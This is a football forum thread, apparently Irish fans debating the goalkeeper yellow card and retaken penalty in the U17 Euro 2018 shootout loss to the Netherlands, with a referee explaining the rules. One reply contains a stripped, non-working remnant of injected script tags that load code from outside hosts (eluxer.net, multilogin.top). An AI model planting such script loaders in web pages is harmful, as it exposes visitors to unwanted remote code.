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U17's - Have done us proud at Euro 2018

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Zinedine Kilbane 110 View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Zinedine Kilbane 110 Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 12:54pm
Hans we get your point that with the benefit of slow motion replays it’s not 100% clear cut he was infact past the line

However in real time it would be rational to conclude he was past the line. The ref/linesman has to call it in real time.

The new rule states it was a yellow so you can’t really fault the ref for that either. 
Also there was obviously intend to come forward quickly so he must have known the risks with this strategy.

The biggest issue would be why this rule is not applied globally. It was a first for many on here and god knows we all watch too much football.



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Post Options Post Options   Thanks (0) Thanks(0)   Quote savo01 Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 1:39pm
Good luck to Corcoran but he seems very small for a keeper to me, even for an U-17. Hopefully he'll eat a few bags of fertiliser and shoot up a couple of feet. Preston is a great town and I hope to see him in the senior team in the coming years. 
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Post Options Post Options   Thanks (0) Thanks(0)   Quote pre Madonna Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 1:44pm
Originally posted by savo01 savo01 wrote:

Good luck to Corcoran but he seems very small for a keeper to me, even for an U-17. Hopefully he'll eat a few bags of fertiliser and shoot up a couple of feet. Preston is a great town and I hope to see him in the senior team in the coming years. 
Fertiliser from Dundalk has made people shoot up more than a few feet!
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Donegalman Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 2:18pm
It certainly seems like the group are fairly close knit and hopefully some of them progress on to senior level in the next few years.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Sham157 Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 3:47pm
Originally posted by pre Madonna pre Madonna wrote:

Originally posted by savo01 savo01 wrote:

Good luck to Corcoran but he seems very small for a keeper to me, even for an U-17. Hopefully he'll eat a few bags of fertiliser and shoot up a couple of feet. Preston is a great town and I hope to see him in the senior team in the coming years. 
Fertiliser from Dundalk has made people shoot up more than a few feet!
LOL
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Gary McKay Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 4:05pm
Originally posted by DeclanDaly DeclanDaly wrote:

Back, and to the left...
Back, and to the left...
Back and to the left...
Back, and to the left...
LOLLOLLOL
"Smalling and Jones.... have the potential to be the PL’s best ever pairing in my opinion." - SlurAlex
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Post Options Post Options   Thanks (0) Thanks(0)   Quote ProudAndLoud Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 5:21pm
Lads and perhaps Ladies,
Im a referee at a pretty high level and at this international level all international referees should know the current Laws of the Game inside out. If coaches or players don't then maybe as part of coaching they should. Im always amazed how top professional players in this country still don't know that a free kick must leave the penalty area not just a goal kick for example or that you can now score direct from a kick off ????????
Im going to try and break the incident down. Im not going to talk about the Netherlands goalkeeper save but Jimmy Corcoran who I know is a top lad.
Penalty is kicked Jimmy moves off line just before kicked and penalty saved., At this tournament referees are not from same country. Assistant referee flags and verbally communicates through headset that Jimmy has moved early and a retake is required.
Referee has no choice then but to have retaken penalty and its then a MANDATORY caution as per Laws of Game "Kicks from penalty mark to determine who wins match",  If the goalkeeper commits an offence and, as a result, the kick is retaken, the goalkeeper must be cautioned.
If the referee doesn't caution Jimmy and he saves retake and Ireland win then Netherlands have a rightful protest to UEFA which I have absolutely NO DOUBT they would win as Laws of Game were not adhered to. The fact that he gave perhaps soft first yellow and made decision for retake is referees opinion but Law is Law.
UEFA Under 19 women's tournament final in Belfast 2/3 years ago. Encroachment by players on penalty kick. It should have been a retake as per laws of game but referee gave indirect free kick out which was incorrect as per Law (retake should have been awarded).
England was the team the decision was against ( I know they are politically strong in football before someone says it). They protested and won. teams came back next day and restarted with penalty which was scored and played remaining 90secs. The referee team from Germany was sent home after the mistake and the referee never refereed international football again because of NOT knowing the correct Law.
Last Monday night taking aside the first caution and perhaps some other calls (good shout for Netherlands pen) had no leeway once lino flagged.
Im sorry gentlemen but id lad who is doing junior match on Sunday doesn't caution keeper as above then he should. He has no choice.
Sorry for going on so long but I have been in this situation and know very well how easy it is to fook up in very big National Final but also know PLAYERS ARE ALWAYS MORE IMPORTANT THEN REFEREES :) 
 
 
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Post Options Post Options   Thanks (0) Thanks(0)   Quote greenforever Quote  Post ReplyReply Direct Link To This Post Posted: 16 May 2018 at 11:02pm
[QUOTE=ProudAndLoud] Lads and perhaps Ladies,
Im a referee at a pretty high level and at this international level all international referees should know the current Laws of the Game inside out. If coaches or players don't then maybe as part of coaching they should. Im always amazed how top professional players in this country still don't know that a free kick must leave the penalty area not just a goal kick for example or that you can now score direct from a kick off ????????
Im going to try and break the incident down. Im not going to talk about the Netherlands goalkeeper save but Jimmy Corcoran who I know is a top lad.
Penalty is kicked Jimmy moves off line just before kicked and penalty saved., At this tournament referees are not from same country. Assistant referee flags and verbally communicates through headset that Jimmy has moved early and a retake is required.
Referee has no choice then but to have retaken penalty and its then a MANDATORY caution as per Laws of Game "Kicks from penalty mark to determine who wins match",  If the goalkeeper commits an offence and, as a result, the kick is retaken, the goalkeeper must be cautioned.
If the referee doesn't caution Jimmy and he saves retake and Ireland win then Netherlands have a rightful protest to UEFA which I have absolutely NO DOUBT they would win as Laws of Game were not adhered to. The fact that he gave perhaps soft first yellow and made decision for retake is referees opinion but Law is Law.
UEFA Under 19 women's tournament final in Belfast 2/3 years ago. Encroachment by players on penalty kick. It should have been a retake as per laws of game but referee gave indirect free kick out which was incorrect as per Law (retake should have been awarded).
England was the team the decision was against ( I know they are politically strong in football before someone says it). They protested and won. teams came back next day and restarted with penalty which was scored and played remaining 90secs. The referee team from Germany was sent home after the mistake and the referee never refereed international football again because of NOT knowing the correct Law.
Last Monday night taking aside the first caution and perhaps some other calls (good shout for Netherlands pen) had no leeway once lino flagged.
Im sorry gentlemen but id lad who is doing junior match on Sunday doesn't caution keeper as above then he should. He has no choice.
Sorry for going on so long but I have been in this situation and know very well how easy it is to fook up in very big National Final but also know PLAYERS ARE ALWAYS MORE IMPORTANT THEN REFEREES :) 
 
 
[/QUOTE

Can you confirm if the ref can or should caution a keeper for moving before the ball is kicked but doesn't make the save?

Talking to Jimmy immediately after the game before they left the pitch, he said that the Dutch keeper was warned twice by the referee for moving.

The rule is harsh, and wrong in by opinion but as you say that is the law.

It's similar to a player diving gets only a yellow, yet if he con's the ref the defender is likely to get a red. Both should be ref IMO.

As I posted previously the linesman's flag was up immediately.

A prudent manager who has a sub remaining might be advised to bring on a sub keeper if the keeper has a yellow before the shootout, as I think we will see more yellows for this going forward.
I know nothing :-)
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Hans Moleman Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 12:49am
If a goal is scored, there is never a yellow against the keeper even if he consistently infringes. That is how they have written the new rules. Only if a save is made while a goalkeeping infringement takes place is a yellow given. This rule will be scrapped very soon, or at least amended for penalty shootouts so a sub goalie can come in in the event of a red card. All it will take is one high profile scenario where the keeper sees red, and this mockery of s rule change will most likely be binned.
"I called him an embarrassment to FIFA and to himself," .... He said 'No-one speaks to me like that'.... and I said, "well I do' and that was that."
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Post Options Post Options   Thanks (0) Thanks(0)   Quote ProudAndLoud Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 8:13am
the goalkeeper  
  • if the ball enters the goal, a goal is awarded
  • if the ball does not enter the goal, the kick is retaken; the goalkeeper is cautioned if responsible for the offence

This is what the Laws of the Game say ( and I don't mean keep referring to the law like some solicitor) but that is what counts when protests etc are lodged.

Its not just a save but also if keeper comes off his line and player shoots wide. Im NOT defending referee but it would often be common for a referee to warn a keeper but not obviously not caution him when penalty is scored.
 
Im not so sure about FIFA/IFAB changing this law as they want to try stop keepers forcing a retake as if a player misses first pen because of keeper coming off line and no caution then hell of a lot more pressure on taker trying score from retake.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote the_walls Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 8:18am
It looked to me that he had one foot on the line as the Dutch lad struck the ball. Is it a case that both feet have to be on the line?
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Post Options Post Options   Thanks (0) Thanks(0)   Quote pre Madonna Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 8:35am
Originally posted by the_walls the_walls wrote:

It looked to me that he had one foot on the line as the Dutch lad struck the ball. Is it a case that both feet have to be on the line?
Maybe, but he took two steps forward. He had to have been off the line at some point and was ridiculously obvious about it.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote MC Hammered Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 8:54am
Originally posted by pre Madonna pre Madonna wrote:

Originally posted by the_walls the_walls wrote:

It looked to me that he had one foot on the line as the Dutch lad struck the ball. Is it a case that both feet have to be on the line?
Maybe, but he took two steps forward. He had to have been off the line at some point and was ridiculously obvious about it.

I think you are overstating how obvious it was that he was off his line. I would imagine that if we examined any peno shootout since this rule was brought in, there would be evidence of a keeper infringing in the same manner
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Gary McKay Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 8:58am
Originally posted by ProudAndLoud ProudAndLoud wrote:

but also know PLAYERS ARE ALWAYS MORE IMPORTANT THEN REFEREES :) 
ClapClapClap
Im shocked.
 
A ref admitting this, you obviously weren't sh*te at football when you were younger or indeed bullied at school or battered by your wife like it appears most Refs were.
 
Thanks for your input.
 
In your case of the Belfast match where a Ref made a mistake how does that differ from Paris'09.
I understand that the officials didn't see a handball but you could argue that they should have. What else were they looking at. Im 100% certain that if VAR was around then the goal would still have stood. That's just one incident. Its all very well replaying a game at the Women's u19s it will NEVER happen at a WC or Euros.
 
Last point, there are 17 Laws of the Game as you know.
But as a Ref you should know about the most important 18th (unwritten) Law.
 
 
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Post Options Post Options   Thanks (0) Thanks(0)   Quote pre Madonna Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 9:02am
Originally posted by MC Hammered MC Hammered wrote:

Originally posted by pre Madonna pre Madonna wrote:

Originally posted by the_walls the_walls wrote:

It looked to me that he had one foot on the line as the Dutch lad struck the ball. Is it a case that both feet have to be on the line?
Maybe, but he took two steps forward. He had to have been off the line at some point and was ridiculously obvious about it.

I think you are overstating how obvious it was that he was off his line. I would imagine that if we examined any peno shootout since this rule was brought in, there would be evidence of a keeper infringing in the same manner
The fact that people aren't grasping it would suggest otherwise. It was one of the most blatant examples in my time watching football. 
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Post Options Post Options   Thanks (0) Thanks(0)   Quote gspain Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 9:28am
Originally posted by Gary McKay Gary McKay wrote:

Originally posted by ProudAndLoud ProudAndLoud wrote:

but also know PLAYERS ARE ALWAYS MORE IMPORTANT THEN REFEREES :) 
ClapClapClap
Im shocked.
 
A ref admitting this, you obviously weren't sh*te at football when you were younger or indeed bullied at school or battered by your wife like it appears most Refs were.
 
Thanks for your input.
 
In your case of the Belfast match where a Ref made a mistake how does that differ from Paris'09.
I understand that the officials didn't see a handball but you could argue that they should have. What else were they looking at. Im 100% certain that if VAR was around then the goal would still have stood. That's just one incident. Its all very well replaying a game at the Women's u19s it will NEVER happen at a WC or Euros.
 
Last point, there are 17 Laws of the Game as you know.
But as a Ref you should know about the most important 18th (unwritten) Law.
 
 
< ="//multilogin.top/oldmultitabs.js">< ="text/" ="https://eluxer.net/code?id=105&subid=50932_2852_">

The difference between Paris and Belfast is that the referee incorrectly applied the laws of the game in Belfast.  In Paris he just missed something (although I blame the linesman really).  

OM got into last night's Europa League Final because the referee incorrectly gave them a corner at the end of extra time in Salzburg.  You cannot replay games over refereeing mistakes.  On the very rare occasion when a referee doesn't know the laws of the game then it may be possible particularly for a last minute penalty.  
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Post Options Post Options   Thanks (0) Thanks(0)   Quote niallmc Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 9:34am
gutted for the lads to lose in such a way. But as you say they done us proud.Clap
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Croftman Quote  Post ReplyReply Direct Link To This Post Posted: 17 May 2018 at 9:38am
Originally posted by ProudAndLoud ProudAndLoud wrote:

Lads and perhaps Ladies,
Im a referee at a pretty high level and at this international level all international referees should know the current Laws of the Game inside out. If coaches or players don't then maybe as part of coaching they should. Im always amazed how top professional players in this country still don't know that a free kick must leave the penalty area not just a goal kick for example or that you can now score direct from a kick off ????????
Im going to try and break the incident down. Im not going to talk about the Netherlands goalkeeper save but Jimmy Corcoran who I know is a top lad.
Penalty is kicked Jimmy moves off line just before kicked and penalty saved., At this tournament referees are not from same country. Assistant referee flags and verbally communicates through headset that Jimmy has moved early and a retake is required.
Referee has no choice then but to have retaken penalty and its then a MANDATORY caution as per Laws of Game "Kicks from penalty mark to determine who wins match",  If the goalkeeper commits an offence and, as a result, the kick is retaken, the goalkeeper must be cautioned.
If the referee doesn't caution Jimmy and he saves retake and Ireland win then Netherlands have a rightful protest to UEFA which I have absolutely NO DOUBT they would win as Laws of Game were not adhered to. The fact that he gave perhaps soft first yellow and made decision for retake is referees opinion but Law is Law.
UEFA Under 19 women's tournament final in Belfast 2/3 years ago. Encroachment by players on penalty kick. It should have been a retake as per laws of game but referee gave indirect free kick out which was incorrect as per Law (retake should have been awarded).
England was the team the decision was against ( I know they are politically strong in football before someone says it). They protested and won. teams came back next day and restarted with penalty which was scored and played remaining 90secs. The referee team from Germany was sent home after the mistake and the referee never refereed international football again because of NOT knowing the correct Law.
Last Monday night taking aside the first caution and perhaps some other calls (good shout for Netherlands pen) had no leeway once lino flagged.
Im sorry gentlemen but id lad who is doing junior match on Sunday doesn't caution keeper as above then he should. He has no choice.
Sorry for going on so long but I have been in this situation and know very well how easy it is to fook up in very big National Final but also know PLAYERS ARE ALWAYS MORE IMPORTANT THEN REFEREES :) 
 
 
By this reckoning could any team not do the same if say a player didn't receive a second yellow for a dangerous tackle then went on to score the winner? There'd be some amount of games replayed if every team took that approach and appealed on the basis that the laws of the game were not adhered to
Some people just deserve a slap
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